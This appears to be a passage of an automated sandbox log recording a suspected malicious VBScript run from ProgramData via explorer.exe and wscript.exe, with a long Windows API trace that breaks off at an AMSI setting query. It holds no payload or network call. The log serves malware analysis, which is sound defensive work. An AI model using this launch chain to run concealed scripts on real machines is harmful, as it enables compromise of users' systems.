os_tid = 0x9f0 Thread: id = 87 os_tid = 0x988 Thread: id = 88 os_tid = 0x980 Thread: id = 89 os_tid = 0x96c Thread: id = 90 os_tid = 0x5a4 Thread: id = 91 os_tid = 0x508 Thread: id = 92 os_tid = 0x504 Thread: id = 93 os_tid = 0x500 Thread: id = 94 os_tid = 0x4f8 Thread: id = 95 os_tid = 0x4f4 Thread: id = 96 os_tid = 0x4c0 Thread: id = 97 os_tid = 0x49c Thread: id = 98 os_tid = 0x498 Thread: id = 99 os_tid = 0x494 Thread: id = 100 os_tid = 0x468 Thread: id = 101 os_tid = 0x460 Thread: id = 102 os_tid = 0x45c Thread: id = 103 os_tid = 0x424 Thread: id = 104 os_tid = 0x41c Thread: id = 105 os_tid = 0x180 Thread: id = 350 os_tid = 0xff0 Thread: id = 351 os_tid = 0x12bc Thread: id = 352 os_tid = 0x111c Process: id = "5" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x5ba8a000" os_pid = "0xf04" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1310" cmd_line = "explorer.exe C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 108 os_tid = 0xf48 Thread: id = 109 os_tid = 0x10f0 Thread: id = 111 os_tid = 0x9e8 Thread: id = 112 os_tid = 0xa34 Thread: id = 115 os_tid = 0xe28 Process: id = "6" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x27195000" os_pid = "0xa20" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 119 os_tid = 0xdc4 Thread: id = 120 os_tid = 0xefc Thread: id = 121 os_tid = 0xf0c Thread: id = 122 os_tid = 0x3b8 Thread: id = 123 os_tid = 0x258 Thread: id = 124 os_tid = 0xf1c Thread: id = 125 os_tid = 0xf54 Thread: id = 126 os_tid = 0xed4 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x49091000" os_pid = "0x564" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000f010" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 127 os_tid = 0x9ec Thread: id = 128 os_tid = 0x9e4 Thread: id = 129 os_tid = 0x9e0 Thread: id = 130 os_tid = 0x7d4 Thread: id = 131 os_tid = 0x7ec Thread: id = 132 os_tid = 0x75c Thread: id = 133 os_tid = 0x684 Thread: id = 134 os_tid = 0x67c Thread: id = 135 os_tid = 0x5f8 Thread: id = 136 os_tid = 0x5f4 Thread: id = 137 os_tid = 0x5dc Thread: id = 138 os_tid = 0x568 Process: id = "8" image_name = "wscript.exe" filename = "c:\\windows\\system32\\wscript.exe" page_root = "0x18360000" os_pid = "0x13fc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa20" cmd_line = "\"C:\\WINDOWS\\System32\\WScript.exe\" \"C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 140 os_tid = 0x1020 [0143.407] GetStartupInfoA (in: lpStartupInfo=0xa3529dfd00 | out: lpStartupInfo=0xa3529dfd00*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\System32\\WScript.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0xa, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0143.409] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff7a9f00000 [0143.409] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff7a9f00000 [0143.409] GetVersionExA (in: lpVersionInformation=0xa3529dfc20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x249, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x3e, szCSDVersion="") | out: lpVersionInformation=0xa3529dfc20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0143.409] GetUserDefaultLCID () returned 0x411 [0143.410] GetLocaleInfoW (in: Locale=0x411, LCType=0x20000070, lpLCData=0xa3529df580, cchData=2 | out: lpLCData="\x02") returned 2 [0143.410] CoInitialize (pvReserved=0x0) returned 0x0 [0143.504] GetCommandLineW () returned="\"C:\\WINDOWS\\System32\\WScript.exe\" \"C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" " [0143.504] malloc (_Size=0x9a) returned 0x249c8841560 [0143.504] wcscpy_s (in: _Destination=0x249c8841560, _SizeInWords=0x4d, _Source="\"C:\\WINDOWS\\System32\\WScript.exe\" \"C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" " | out: _Destination="\"C:\\WINDOWS\\System32\\WScript.exe\" \"C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" ") returned 0x0 [0143.504] malloc (_Size=0x18) returned 0x249c8841610 [0143.504] wcscpy_s (in: _Destination=0x249c8841560, _SizeInWords=0x4d, _Source="C:\\WINDOWS\\System32\\WScript.exe\" \"C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" " | out: _Destination="C:\\WINDOWS\\System32\\WScript.exe\" \"C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" ") returned 0x0 [0143.504] wcscpy_s (in: _Destination=0x249c884159e, _SizeInWords=0x2d, _Source=" \"C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" " | out: _Destination=" \"C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" ") returned 0x0 [0143.504] wcscpy_s (in: _Destination=0x249c88415a0, _SizeInWords=0x2b, _Source="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" " | out: _Destination="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs\" ") returned 0x0 [0143.504] wcscpy_s (in: _Destination=0x249c88415ee, _SizeInWords=0x3, _Source=" " | out: _Destination=" ") returned 0x0 [0143.505] GetCurrentThreadId () returned 0x1020 [0143.505] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529df948 | out: phkResult=0xa3529df948*=0xf4) returned 0x0 [0143.506] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529df940 | out: phkResult=0xa3529df940*=0xf8) returned 0x0 [0143.506] RegQueryValueExW (in: hKey=0xf8, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0xa3529dec34, lpData=0xa3529df040, lpcbData=0xa3529dec30*=0x400 | out: lpType=0xa3529dec34*=0x0, lpData=0xa3529df040*=0x19, lpcbData=0xa3529dec30*=0x400) returned 0x2 [0143.506] RegQueryValueExW (in: hKey=0xf4, lpValueName="Enabled", lpReserved=0x0, lpType=0xa3529dec34, lpData=0xa3529df040, lpcbData=0xa3529dec30*=0x400 | out: lpType=0xa3529dec34*=0x0, lpData=0xa3529df040*=0x19, lpcbData=0xa3529dec30*=0x400) returned 0x2 [0143.506] RegQueryValueExW (in: hKey=0xf8, lpValueName="Enabled", lpReserved=0x0, lpType=0xa3529dec34, lpData=0xa3529df040, lpcbData=0xa3529dec30*=0x400 | out: lpType=0xa3529dec34*=0x0, lpData=0xa3529df040*=0x19, lpcbData=0xa3529dec30*=0x400) returned 0x2 [0143.506] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0145.433] RegCloseKey (hKey=0xf8) returned 0x0 [0145.433] RegCloseKey (hKey=0xf4) returned 0x0 [0145.433] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529df660 | out: phkResult=0xa3529df660*=0xf4) returned 0x0 [0145.433] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529df658 | out: phkResult=0xa3529df658*=0xf8) returned 0x0 [0145.433] RegQueryValueExW (in: hKey=0xf8, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0xa3529de954, lpData=0xa3529ded60, lpcbData=0xa3529de950*=0x400 | out: lpType=0xa3529de954*=0x0, lpData=0xa3529ded60*=0x0, lpcbData=0xa3529de950*=0x400) returned 0x2 [0145.433] RegQueryValueExW (in: hKey=0xf4, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0xa3529de954, lpData=0xa3529ded60, lpcbData=0xa3529de950*=0x400 | out: lpType=0xa3529de954*=0x0, lpData=0xa3529ded60*=0x0, lpcbData=0xa3529de950*=0x400) returned 0x2 [0145.433] RegQueryValueExW (in: hKey=0xf8, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0xa3529de954, lpData=0xa3529ded60, lpcbData=0xa3529de950*=0x400 | out: lpType=0xa3529de954*=0x0, lpData=0xa3529ded60*=0x0, lpcbData=0xa3529de950*=0x400) returned 0x2 [0145.433] RegCloseKey (hKey=0xf8) returned 0x0 [0145.433] RegCloseKey (hKey=0xf4) returned 0x0 [0145.433] GetACP () returned 0x4e4 [0145.433] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ff9e80b0000 [0145.434] GetProcAddress (hModule=0x7ff9e80b0000, lpProcName="HeapSetInformation") returned 0x7ff9e80ce2f0 [0145.434] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0145.434] FreeLibrary (hLibModule=0x7ff9e80b0000) returned 1 [0145.434] malloc (_Size=0x20) returned 0x249c8841630 [0145.436] CoRegisterMessageFilter (in: lpMessageFilter=0x249c8841630, lplpMessageFilter=0x249c8841640 | out: lplpMessageFilter=0x249c8841640*=0x0) returned 0x0 [0145.437] GetModuleFileNameW (in: hModule=0x7ff7a9f00000, lpFilename=0xa3529df9c0, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\System32\\WScript.exe" (normalized: "c:\\windows\\system32\\wscript.exe")) returned 0x1f [0145.437] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\System32\\WScript.exe", lpdwHandle=0xa3529df2e0 | out: lpdwHandle=0xa3529df2e0) returned 0x714 [0145.438] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\System32\\WScript.exe", dwHandle=0x0, dwLen=0x714, lpData=0xa3529debc0 | out: lpData=0xa3529debc0) returned 1 [0145.438] VerQueryValueW (in: pBlock=0xa3529debc0, lpSubBlock="\\", lplpBuffer=0xa3529df2e8, puLen=0xa3529df2e4 | out: lplpBuffer=0xa3529df2e8*=0xa3529debe8, puLen=0xa3529df2e4) returned 1 [0145.438] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529df338 | out: phkResult=0xa3529df338*=0xf4) returned 0x0 [0145.438] RegQueryValueExW (in: hKey=0xf4, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0xa3529de664, lpData=0xa3529dea70, lpcbData=0xa3529de660*=0x400 | out: lpType=0xa3529de664*=0x0, lpData=0xa3529dea70*=0x0, lpcbData=0xa3529de660*=0x400) returned 0x2 [0145.438] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529df2e0 | out: phkResult=0xa3529df2e0*=0xf8) returned 0x0 [0145.438] RegQueryValueExW (in: hKey=0xf8, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0xa3529df2a4, lpData=0xa3529df330, lpcbData=0xa3529df2a0*=0x4 | out: lpType=0xa3529df2a4*=0x0, lpData=0xa3529df330*=0x70, lpcbData=0xa3529df2a0*=0x4) returned 0x2 [0145.438] RegQueryValueExW (in: hKey=0xf8, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0xa3529de664, lpData=0xa3529dea70, lpcbData=0xa3529de660*=0x400 | out: lpType=0xa3529de664*=0x0, lpData=0xa3529dea70*=0x0, lpcbData=0xa3529de660*=0x400) returned 0x2 [0145.438] RegQueryValueExW (in: hKey=0xf4, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0xa3529df2a4, lpData=0xa3529df330, lpcbData=0xa3529df2a0*=0x4 | out: lpType=0xa3529df2a4*=0x0, lpData=0xa3529df330*=0x70, lpcbData=0xa3529df2a0*=0x4) returned 0x2 [0145.438] RegQueryValueExW (in: hKey=0xf4, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0xa3529de664, lpData=0xa3529dea70, lpcbData=0xa3529de660*=0x400 | out: lpType=0xa3529de664*=0x1, lpData="1", lpcbData=0xa3529de660*=0x4) returned 0x0 [0145.438] RegCloseKey (hKey=0xf8) returned 0x0 [0145.438] RegCloseKey (hKey=0xf4) returned 0x0 [0145.439] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0xa3529df338, lpdwDisposition=0x0 | out: phkResult=0xa3529df338*=0xf4, lpdwDisposition=0x0) returned 0x0 [0145.439] RegQueryValueExW (in: hKey=0xf4, lpValueName="Timeout", lpReserved=0x0, lpType=0xa3529df2d4, lpData=0xa3529df330, lpcbData=0xa3529df2d0*=0x4 | out: lpType=0xa3529df2d4*=0x0, lpData=0xa3529df330*=0x70, lpcbData=0xa3529df2d0*=0x4) returned 0x2 [0145.439] RegQueryValueExW (in: hKey=0xf4, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0xa3529de694, lpData=0xa3529deaa0, lpcbData=0xa3529de690*=0x400 | out: lpType=0xa3529de694*=0x1, lpData="1", lpcbData=0xa3529de690*=0x4) returned 0x0 [0145.439] RegCloseKey (hKey=0xf4) returned 0x0 [0145.439] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0xa3529df338, lpdwDisposition=0x0 | out: phkResult=0xa3529df338*=0xf4, lpdwDisposition=0x0) returned 0x0 [0145.439] RegQueryValueExW (in: hKey=0xf4, lpValueName="Timeout", lpReserved=0x0, lpType=0xa3529df2d4, lpData=0xa3529df330, lpcbData=0xa3529df2d0*=0x4 | out: lpType=0xa3529df2d4*=0x0, lpData=0xa3529df330*=0x70, lpcbData=0xa3529df2d0*=0x4) returned 0x2 [0145.439] RegQueryValueExW (in: hKey=0xf4, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0xa3529de694, lpData=0xa3529deaa0, lpcbData=0xa3529de690*=0x400 | out: lpType=0xa3529de694*=0x0, lpData=0xa3529deaa0*=0x31, lpcbData=0xa3529de690*=0x400) returned 0x2 [0145.439] RegCloseKey (hKey=0xf4) returned 0x0 [0145.439] wcscpy_s (in: _Destination=0xa3529df5ac, _SizeInWords=0x104, _Source="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs" | out: _Destination="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs") returned 0x0 [0145.461] malloc (_Size=0x88) returned 0x249c8841660 [0145.461] LoadStringW (in: hInstance=0x7ff7a9f00000, uID=0x9c5, lpBuffer=0xa3529ddd90, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13 [0145.462] LoadTypeLib (in: szFile="C:\\WINDOWS\\System32\\WScript.exe", pptlib=0xa3529dedd8*=0x0 | out: pptlib=0xa3529dedd8*=0x249c86b1680) returned 0x0 [0145.470] ITypeLib:GetTypeInfoOfGuid (in: This=0x249c86b1680, GUID=0x7ff7a9f19828*(Data1=0x91afbd1b, Data2=0x5feb, Data3=0x43f5, Data4=([0]=0xb0, [1]=0x28, [2]=0xe2, [3]=0xca, [4]=0x96, [5]=0x6, [6]=0x17, [7]=0xec)), ppTInfo=0xa3529dedb8 | out: ppTInfo=0xa3529dedb8*=0x249c86b1da8) returned 0x0 [0145.474] ITypeInfo:GetRefTypeOfImplType (in: This=0x249c86b1da8, index=0xffffffff, pRefType=0xa3529dedb0 | out: pRefType=0xa3529dedb0*=0xfffffffe) returned 0x0 [0145.474] ITypeInfo:GetRefTypeInfo (in: This=0x249c86b1da8, hreftype=0xfffffffe, ppTInfo=0x7ff7a9f1f1e8 | out: ppTInfo=0x7ff7a9f1f1e8*=0x249c86b1e00) returned 0x0 [0145.474] IUnknown:Release (This=0x249c86b1da8) returned 0x1 [0145.474] malloc (_Size=0x98) returned 0x249c88454f0 [0145.475] malloc (_Size=0x58) returned 0x249c88416f0 [0145.475] malloc (_Size=0x50) returned 0x249c8845590 [0145.475] ITypeLib:GetTypeInfoOfGuid (in: This=0x249c86b1680, GUID=0x7ff7a9f197f8*(Data1=0x2cc5a9d0, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0xa3529dedb8 | out: ppTInfo=0xa3529dedb8*=0x249c86b1e58) returned 0x0 [0145.475] ITypeInfo:GetRefTypeOfImplType (in: This=0x249c86b1e58, index=0xffffffff, pRefType=0xa3529dedb0 | out: pRefType=0xa3529dedb0*=0xfffffffe) returned 0x0 [0145.475] ITypeInfo:GetRefTypeInfo (in: This=0x249c86b1e58, hreftype=0xfffffffe, ppTInfo=0x7ff7a9f1f168 | out: ppTInfo=0x7ff7a9f1f168*=0x249c86b1eb0) returned 0x0 [0145.475] IUnknown:Release (This=0x249c86b1e58) returned 0x1 [0145.475] ITypeLib:GetTypeInfoOfGuid (in: This=0x249c86b1680, GUID=0x7ff7a9f197b8*(Data1=0xbf64faf0, Data2=0x5906, Data3=0x426c, Data4=([0]=0xb4, [1]=0xbc, [2]=0x7b, [3]=0x75, [4]=0x3c, [5]=0xbe, [6]=0x81, [7]=0x9f)), ppTInfo=0xa3529dedb8 | out: ppTInfo=0xa3529dedb8*=0x249c86b1f08) returned 0x0 [0145.475] ITypeInfo:GetRefTypeOfImplType (in: This=0x249c86b1f08, index=0xffffffff, pRefType=0xa3529dedb0 | out: pRefType=0xa3529dedb0*=0xfffffffe) returned 0x0 [0145.475] ITypeInfo:GetRefTypeInfo (in: This=0x249c86b1f08, hreftype=0xfffffffe, ppTInfo=0x7ff7a9f1f128 | out: ppTInfo=0x7ff7a9f1f128*=0x249c86b1f60) returned 0x0 [0145.475] IUnknown:Release (This=0x249c86b1f08) returned 0x1 [0145.475] ITypeLib:GetTypeInfoOfGuid (in: This=0x249c86b1680, GUID=0x7ff7a9f19798*(Data1=0x2cc5a9d1, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0xa3529dedb8 | out: ppTInfo=0xa3529dedb8*=0x249c86b1fb8) returned 0x0 [0145.475] ITypeInfo:GetRefTypeOfImplType (in: This=0x249c86b1fb8, index=0xffffffff, pRefType=0xa3529dedb0 | out: pRefType=0xa3529dedb0*=0xfffffffe) returned 0x0 [0145.475] ITypeInfo:GetRefTypeInfo (in: This=0x249c86b1fb8, hreftype=0xfffffffe, ppTInfo=0x7ff7a9f1f1a8 | out: ppTInfo=0x7ff7a9f1f1a8*=0x249c86b2010) returned 0x0 [0145.475] IUnknown:Release (This=0x249c86b1fb8) returned 0x1 [0145.475] IUnknown:Release (This=0x249c86b1680) returned 0x4 [0145.475] malloc (_Size=0x38) returned 0x249c88455f0 [0145.475] GetCurrentThreadId () returned 0x1020 [0145.475] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x128 [0145.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x7ff7a9f0ae40, lpParameter=0x249c88455f0, dwCreationFlags=0x0, lpThreadId=0x249c8845618 | out: lpThreadId=0x249c8845618*=0x1360) returned 0x12c [0145.476] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0xa3529df010*=0x128, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x1cff) returned 0x0 [0145.532] CloseHandle (hObject=0x128) returned 1 [0145.533] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", nBufferLength=0x104, lpBuffer=0xa3529df0b0, lpFilePart=0xa3529df098 | out: lpBuffer="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", lpFilePart=0xa3529df098*="JHJKGHuggUGUGYYuyggg.vbs") returned 0x27 [0145.533] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey=".vbs", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529de5b0 | out: phkResult=0xa3529de5b0*=0x14e) returned 0x0 [0145.533] RegQueryValueExW (in: hKey=0x14e, lpValueName=0x0, lpReserved=0x0, lpType=0xa3529de564, lpData=0xa3529de5c0, lpcbData=0xa3529de560*=0x800 | out: lpType=0xa3529de564*=0x1, lpData="VBSFile", lpcbData=0xa3529de560*=0x10) returned 0x0 [0145.533] RegCloseKey (hKey=0x14e) returned 0x0 [0145.533] wcscat_s (in: _Destination="VBSFile", _SizeInWords=0x40e, _Source="\\ScriptEngine" | out: _Destination="VBSFile\\ScriptEngine") returned 0x0 [0145.533] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="VBSFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529de5b0 | out: phkResult=0xa3529de5b0*=0x14e) returned 0x0 [0145.533] RegQueryValueExW (in: hKey=0x14e, lpValueName=0x0, lpReserved=0x0, lpType=0xa3529de564, lpData=0xa3529dee30, lpcbData=0xa3529de560*=0x200 | out: lpType=0xa3529de564*=0x1, lpData="VBScript", lpcbData=0xa3529de560*=0x12) returned 0x0 [0145.533] RegCloseKey (hKey=0x14e) returned 0x0 [0145.534] malloc (_Size=0xb0) returned 0x249c8845b30 [0145.534] GetProcessHeap () returned 0x249c8690000 [0145.534] RtlAllocateHeap (HeapHandle=0x249c8690000, Flags=0x0, Size=0x2000) returned 0x249c86bcde0 [0145.534] CLSIDFromString (in: lpsz="VBScript", pclsid=0xa3529deda8 | out: pclsid=0xa3529deda8*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8))) returned 0x0 [0145.534] CoCreateInstance (in: rclsid=0xa3529deda8*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff7a9f19518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xa3529deda0 | out: ppv=0xa3529deda0*=0x249c8849810) returned 0x0 [0145.858] malloc (_Size=0x100) returned 0x249c88496a0 [0145.860] __dllonexit () returned 0x7ff9dba51d30 [0145.860] __dllonexit () returned 0x7ff9dba51d40 [0145.861] GetCurrentProcess () returned 0xffffffffffffffff [0145.861] K32GetModuleInformation (in: hProcess=0xffffffffffffffff, hModule=0x7ff9dba30000, lpmodinfo=0xa3529dc6a0, cb=0x18 | out: lpmodinfo=0xa3529dc6a0*(lpBaseOfDll=0x7ff9dba30000, SizeOfImage=0x94000, EntryPoint=0x7ff9dba50030)) returned 1 [0145.861] __dllonexit () returned 0x7ff9dba51d50 [0145.862] GetUserDefaultLCID () returned 0x411 [0145.862] GetVersion () returned 0x3ad7000a [0145.863] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x7ff9e80b0000 [0145.864] GetProcAddress (hModule=0x7ff9e80b0000, lpProcName="QueryProtectedPolicy") returned 0x7ff9e5abee90 [0145.864] VirtualProtect (in: lpAddress=0x7ff9dba9e990, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0xa3529dc720 | out: lpflOldProtect=0xa3529dc720*=0x2) returned 1 [0145.864] VirtualProtect (in: lpAddress=0x7ff9dba9e990, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0xa3529dc720 | out: lpflOldProtect=0xa3529dc720*=0x4) returned 1 [0145.864] DllGetClassObject (in: rclsid=0x249c86b8630*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x7ff9e7e6f9d8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xa3529dd710 | out: ppv=0xa3529dd710*=0x249c88497b0) returned 0x0 [0145.864] malloc (_Size=0x58) returned 0x249c88497b0 [0145.866] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x249c88497b0, pUnkOuter=0x0, riid=0xa3529de618*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xa3529dd728 | out: ppvObject=0xa3529dd728*=0x249c8849810) returned 0x0 [0145.866] malloc (_Size=0x3c0) returned 0x249c8849810 [0145.867] LdrResolveDelayLoadedAPI () returned 0x7ff9e79d4aa0 [0145.868] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0xa3529dd668 | out: phkResult=0xa3529dd668*=0x168) returned 0x0 [0145.868] RegQueryValueExW (in: hKey=0x168, lpValueName="AmsiEnable", lpReserved=0x0, lpType=0xa3529dd658, 